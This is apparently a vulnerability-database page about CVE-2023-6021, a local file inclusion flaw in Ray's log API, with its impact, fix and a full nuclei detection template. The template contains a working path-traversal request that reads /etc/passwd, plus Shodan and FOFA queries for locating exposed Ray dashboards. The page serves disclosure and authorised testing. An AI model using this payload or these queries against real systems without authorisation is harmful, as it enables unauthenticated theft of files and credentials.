HexBrain

Browse / CVEs / CVE-2023-6021

CVE-2023-6021· ray project / ray· CWE-22, CWE-29

Ray API - Local File Inclusion

highseverity
7.5CVSS score
37.1%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

LFI in Ray's log API endpoint allows attackers to read any file on the server without authentication.

Impact

Unauthenticated attackers can read any file on the server via the log API endpoint, potentially accessing sensitive configuration files, credentials, and application data.

Fix

Update Ray to a patched version that properly validates file paths in the logs endpoint.

How to confirm it

Send: GET {{BaseURL}}/nodes?view=summary ; GET {{BaseURL}}/api/v0/logs/file?node_id={{nodeid}}&filename=../../../../../etc%2fpasswd&lines=50000
Positive when: matches in body_2 /root:.*:0:0:/ AND contains in header_2 "text/plain" and "aiohttp" AND status 200

Run it with nuclei: nuclei -id CVE-2023-6021 -u <target>

The full check
id: CVE-2023-6021

info:
  name: Ray API - Local File Inclusion
  author: byt3bl33d3r
  severity: high
  description: |
    LFI in Ray's log API endpoint allows attackers to read any file on the server without authentication.
  impact: |
    Unauthenticated attackers can read any file on the server via the log API endpoint, potentially accessing sensitive configuration files, credentials, and application data.
  remediation: |
    Update Ray to a patched version that properly validates file paths in the logs endpoint.
  reference:
    - https://huntr.com/bounties/5039c045-f986-4cbc-81ac-370fe4b0d3f8/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6021
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-6021
    cwe-id: CWE-22,CWE-29
    epss-score: 0.37076
    epss-percentile: 0.98529
    cpe: cpe:2.3:a:ray_project:ray:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: ray_project
    product: ray
    shodan-query:
      - html:"Ray Dashboard"
      - http.favicon.hash:463802404
      - http.html:"ray dashboard"
    fofa-query:
      - body="ray dashboard"
      - icon_hash=463802404
  tags: cve,cve2023,lfi,ray,oos,ray_project,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/nodes?view=summary"
      - "{{BaseURL}}/api/v0/logs/file?node_id={{nodeid}}&filename=../../../../../etc%2fpasswd&lines=50000"

    matchers-condition: and
    matchers:
      - type: regex
        part: body_2
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header_2
        words:
          - "text/plain"
          - "aiohttp"
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: json
        part: body
        internal: true
        name: nodeid
        json:
          - '..|objects|.nodeId//empty[0]'

References

Use this check only on systems you are authorised to test. Where the data comes from